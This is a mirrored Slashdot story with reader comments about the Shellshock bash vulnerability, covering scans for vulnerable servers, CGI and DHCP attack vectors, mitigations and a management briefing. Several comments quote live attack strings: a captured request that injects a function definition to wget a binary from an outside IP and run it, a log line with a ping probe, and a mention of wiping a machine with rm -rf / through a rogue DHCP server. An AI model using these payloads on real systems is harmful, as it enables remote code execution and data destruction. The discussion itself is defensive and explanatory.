Slashdot Mirror
Flurry of Scans Hint That Bash Vulnerability Could Already Be In the Wild
The recently disclosed bug in bash was bad enough as a theoretical exploit; now, reports Ars Technica, it could already be being used to launch real attacks. In a blog post yesterday, Robert Graham of Errata Security noted that someone is already using a massive Internet scan to locate vulnerable servers for attack. In a brief scan, he found over 3,000 servers that were vulnerable "just on port 80"—the Internet Protocol port used for normal Web Hypertext Transfer Protocol (HTTP) requests. And his scan broke after a short period, meaning that there could be vast numbers of other servers vulnerable. A Google search by Ars using advanced search parameters yielded over two billion web pages that at least partially fit the profile for the Shellshock exploit.
More bad news: "[T]he initial fix for the issue still left Bash vulnerable to attack, according to a new US CERT National Vulnerability Database entry." And CNET is not the only one to say that Shellshock, which can affect Macs running OS X as well as Linux and Unix systems, could be worse than Heartbleed.
Versions affected go all the way back to BASH 1.14.0
which dates from 1994. So that's 20 years.
http://web.nvd.nist.gov/view/v...
The "With many eyes all bugs are shallow" myth is busted again.
The other reasonable vector is the use of environment variables set by your dhcp client before running /etc/sysconfig/if-up.d/* based on whatever is contained in the first DHCPOFFER packet it receives.
What a stupid argument.
1. It will be, if it wasn't before.
2. You can't know that information.
Looking at security discussions in terms of OS is really, really dumb. Windows wasnt vulnerable to heartbleed or this, but not because its Windows. Linux isnt affected because of the kernel. As has been the case for a very long time, actual OS flaws are exceedingly rare.
Anyone who uses this as an opportunity to post a screed about how Linux is better or worse than Windows is showing their ignorance by boiling down complex security considerations into black and whites.
The vulnerability is that a string that looks like a function definition can be constructed to be immediately executed prior to execution of the bash script. (This is to support truly ancient bash scripts back when functions were defined as VARIABLE()="() { body }".) However, a bug in that code means the entire value gets executed as a bash script, and so it's possible to append code to the function definition, and it'll get executed as bash code.
Essentially, it's lesson #1 why not to use eval() in your programs.
The danger is that user inputs in Web programs are frequently passed as environment variables to programs. This is especially true in CGI, where the request URI and HTTP headers are passed as environment variables.
This means if you use bash in your CGI, you can execute whatever command you like, as "apache" or whoever you're executing your CGI as. Remotely.
Wonder what the public key field is for?
That ultimately the BASH vulnerability would be used to blame Apple for bad security.
Of course news about a fake are Fake News.
I just rm -rf / a vulnerable linux laptop (dummy laptop) simply by having it connect to my malicious dhcp server.
Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...
This blog post mentions php, c++, python, et alia, as another attack vector.
This means that web apps written in languages such as PHP, Python, C++, or Java, are likely to be vulnerable if they ever use libcalls such as popen() or system(), all of which are backed by calls to /bin/sh -c '...'. There is also some added web-level exposure through #!/bin/sh CGI scripts, calls in SSI, and possibly more exotic vectors such as mod_ext_filter.
There is evidence that this is being exploited in the wild.
Nginx and Apache servers using mod_cgi are two potentially vulnerable services.
The risk is that it is possible to modify environment variables which then could allow the execution of arbitrary code with the permissions of the parent process.
An example attack:
GET./.HTTP/1.0 .User-Agent:.Thanks-Rob .Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
Over at the Internet Storm Center http://isc.sans.org/ they have been updating their advisory and and a have a simple one-liner to test if a system is vulnerable.
Average Intelligence is a Scary Thing
You don't need to use bash as the cgi handler. You just have to execute bash from your cgi handler. Say by the system() function in the c library on a system where /bin/sh is bash.
And of course connecting having your linux machine try and get an IP via DHCP is a vector.
If you're running Apache on Linux/UNIX, and don't absolutely need CGI, turn it off now.
Put a "#" in front of /etc/httpd/conf/httpd.conf. This will totally disable all CGI scripts. That's a good thing. Apache is willing to execute CGI scripts from far too many directories, and many Linux distros have some default CGI scripts lying around.
LoadModule cgi_module modules/mod_cgi.so
in
Note that this will break CPanel, but not non-CGI admin tools such as Webmin.
People are out there probing. This is from an Apache server log today from a dedicated server I run.
89.207.135.125 - - [24/Sep/2014:23:08:56 -0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 338 "-" "() { :;}; /bin/ping
-c 1 198.101.206.138"
The bug is 25 years old at least. Pre-dates the existence of GIT and most other source code control software in use today. I have no idea what SCC would've been used 25 years ago. To give perspective -- this bug predates the WWW by at least a year.
Folks, for what it's worth, here is a management briefing I wrote this morning. Please feel free to re-use, but please do give proper attribution. Please do comment and correct as appropriate.
Summary: Briefing for management on activities to minimize impacts of the "shellshock" computer vulnerability.
Status: Testing underway. Our initial scans and appraisals are that our public-facing systems are likely not subject to shellshock. NOTE: The situation is fluid, due to the nature of the vulnerability. Personnel are also reaching out to hosting providers to assess the status of intervening systems.
What is it? A vulnerability in a command interpreter found on the vast majority of Linux and UNIX systems, including web servers, development machines, routers, firewalls, etc. The vulnerability could allow an anonymous attacker to execute arbitrary commands remotely, and to obtain the results of these commands via their browser. The security community has nicknamed the vulnerability "shellshock" since it affects computer command interpreters known as shells.
How does it work? Command interpreters, or "shells", are the computer components that allow users to type and execute computer commands. Anytime a user works in a terminal window, they are using a command interpreter - think of the DOS command prompt. Some GUI applications, especially administrative applications, are in fact just graphical interfaces to command interpreters. The most common command interpreter on Linux and UNIX is known as the "bash shell". Within the last several days, security researchers discovered that a serious vulnerability has been present in the vast majority of instances of bash for the last twenty years. This vulnerability allows an attacker with access to a bash shell to execute arbitrary commands. Because many web servers use system command interpreters to fulfill user requests, attackers need not have physical access to a system: The ability to issue web requests, using their browser or commonly-available command line tools, may be enough.
How bad could it be? Very, very bad. The vulnerability may exist on the vast majority of Linux and UNIX systems shipped over the last 20 years, including web servers, development machines, routers, firewalls, other network appliances, printers, Mac OSX computers, Android phones, and possibly iPhones (note: It has yet to be established that smartphones are affected, but given that Android and iOS are variants of Linus and UNIX, respectively, it would be premature to exclude them). Furthermore, many such systems have web-based administrative interfaces: While many of these machines do not provide a "web server" in the sense of a server providing content of interest to the casual or "normal" user, many do provide web-based interfaces for diagnotics and administration. Any such system that provides dynamic content using system utilities may be vulnerable.
What is the primary risk? There are two, data loss and system modification. By allowing an attacker to execute arbitrary commands, the shellshock vulnerability may allow the attacker to both obtain data from a system and to make changes to system configuration. There is also a third risk, that of using affected systems to launch attacks against other systems, so-called "reflector" attacks: The arbitrary command specified by the attacker could be to direct a network utility against a third machine.
How easy is it to detect the vulnerability? Surprising easily: A single command executed using ubiquitous system tools will reveal whether any particular web device or web server is vulnerable.
What are we doing? Technical personnel are using these commands to test all web servers and other devices we manage and are working with hosting providers to ensure that all devices upon which we depend have been tested. When devices are determined to be vulnerable, a determination is made whether they should be left alone (e.g., if t
I'm here EdgeKeep Inc.
Heartbleed has already been confirmed at the initial attack vector for the breach of a large healthcare system that stole 4.5M patient identities. Given the difficulty tracing Heartbleed attacks, it's likely other systems were compromised in the same way.
Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...
Unfortunately, attackers do not share your lack of imagination.
First of all, the CGI vulnerability is not about CGI scripts written in Bash, this is about any CGI script that at any point invokes a shell or invokes a program that invokes a shell (e.g. using the system call), irrespective of the actual shell command, on a system that uses Bash as the system shell (so pretty much all non-Debian based Linux distros).
Got that? any CGI program + any non-Debian Linux => vulnerable. (For once, the PHP programmers are ahead security wise due to the ubiquity of mod_php...)
Second of all, there are all kinds of non-CGI situations in which untrusted data is passed in environment variables. This is normally not a problem... unless that environment variable at any point is inherited by Bash.
The ISC DHCP client (dhclient) is the canonical example, as it runs a distro-specific shell script to set up the network once it gets a DHCP lease. Unustrusted values from the DHCP server are passed - you guessed it - in environment variables.
Basically, this Bash bug is really only exploitable by remote users because of some questionable decisions made in designing the software stack.
Hm, no, the fault here lies squarely with Bash choosing to interpret an environment variable called HTTP_USER_AGENT as a program to execute.
This is not about accepting arbitrary environment variables; CGI puts data in a few, well-defined variables. This is a perfectly legimiate use of environment variables. (And Windows does the exact same thing.)
You're right that using a "full-bore shell program" such as Bash as the system shell is moronic. It is, unfortunately, still the norm on all major Linux distros except Debian and derivatives (which use the limited Dash shell, which is not vulnerable).
Primarily, I think this is a wake up call for Fedora, SUSE and the others: Bash is a huge, complex component, evidently with insufficient security review, and should not be used as the system shell. Debian dropped it for performance reasons, but now we can add security concerns to the list. It can stay around for use as an interactive shell (though why you'd do that when you have zsh, I don't know...)
Uhh.. I guess I'd say the "many eyes" have been saying for almost 20 years that a website that takes in user data and then passes that to a shell to run an executable is kinda stupid, and insecure.
You misunderstand the nature of the bug. Your cgi or app doesn't have to pass anything to an executable. A static call is just as vulnerable here - if a cgi app calls system("/path/to/safe/executable") with no parameters at all, you'll still be bitten, because the system() call executes /bin/sh to run the command in, and inherits the environment from the web browser.
Something like this will suffice:
telnet HOST 80 (or openssl s_client -connect HOST:443)
GET
Host: HOST
Cookie: () {
Connection: close
And it's not restricted to http cgi either. Several dhcp clients call sh, so you can get instahacked by trying to acquire an open network connection. Rather worse, because dhcpd/dhclient tend to run as root so they can set up routing and set up the resolver.
There are many other attack vectors for this one.
Yes, it's bad.
There are a large number of systems where the fix for this is simply to delete the thing.
If you could simply delete it, because you weren't using it, your system was never vulnerable and in need of fixing anyway.
Bah. Just replace bash then - or upgrade it. Read about this bug today (on a linux machine), tested for it - and it was fixed already. The bug may be a bad one, but the fix is out already. Got it through a standard upgrade of arch, no specific action to fix this. Fix bash, and all that cgi/ssh is as safe as ever.
Trivial to exploit - but trivially fixed too.
You mod him up, and people who are smart will mod him down.
Try to understand, this is not about executing bash scripts as cgi, and it's not about sanitizing input. Period. It is about httpd setting environment variables from unsanitized user input when calling ANY cgi. And if perl or python or php then invoke bash by, for example, executing a call to system(), the environment gets passed to bash, and bash can be made to execute something bad just by having the environment set badly, and you can be pwned.
It took me a bit to "get it" myself.
For low-traffic stuff, development time is much more important. Furthermore, in some cases, the actual intended function of a thing is to run specific code. And prior to this bug, it was reasonably well-understood that system("/absolute/path --with --fixed --arguments") was pretty safe, since the absolute path prevented any PATH-related shenanigans, and you weren't including any user data. The environment's not executable. Usually.
My blog: http://www.seebs.net/log/ --- My iPhone/iPad app: http://www.seebs.net/seebsfrac/
These days, Windows is the faster, more stable, and more secure choice.
Yes, Windows 8 has definitely demonstrated awesome superiority and everyone loves it.
Ok, perhaps I undermined the importance, but if you are using 'xzgrep' in cgi context in a serious situation, I would say that is still a mistake. Forking and execing in response to an http request is terrible performance wise before getting to the security dubious of it all.
The dhclient-script stuff is pretty significant and I think I would be in a weak position saying that those have no business execing system commands/scripts. However it does suggest it may be worthwhile to have a helper that is non-root with capabilities to allow it to do key stuff to limit it's ability.
# run under mod_perl /var/log/my.log");
print "Content-Type: text/plain\n\n";
system("/usr/bin/xzgrep error
Can you see how this prefectly secure quick CGI to find errors in your log file would result in a system compromise?
Any program that a) listens on a socket and b) calls out to a shell with an argument partially constructed from user input is vulnerable if the shell is unpatched bash.
No, it's worse than that. You don't have to pass any arguments, and you don't even have to knowingly call shell - calling system() from a language that executes binaries in a shell context will do it, on systems that have /bin/sh point to bash (which is most of them these days).
In short, anything that inherits environment variables (like TERM, LANG, LC_COLLATE) and executes anything in a shell context is vulnerable. No passing of arguments or deliberate call of bash is needed.
I may be naive, but it's difficult for me to believe that someone thought up the attack vector from just thinking about shells in general.
It's not that hard to believe, maybe someone was designing some piece of software where they wanted to use functionality like that. They wanted to have the browser end up defining a function in bash, and then run some additional code, and did some tests to see if it would work. They found that not only will it work, but it will work a whole lot better than they thought it would. At that point, time to tell someone.
"Our two-party system is like a bowl of shit looking at itself in a mirror." - Lewis Black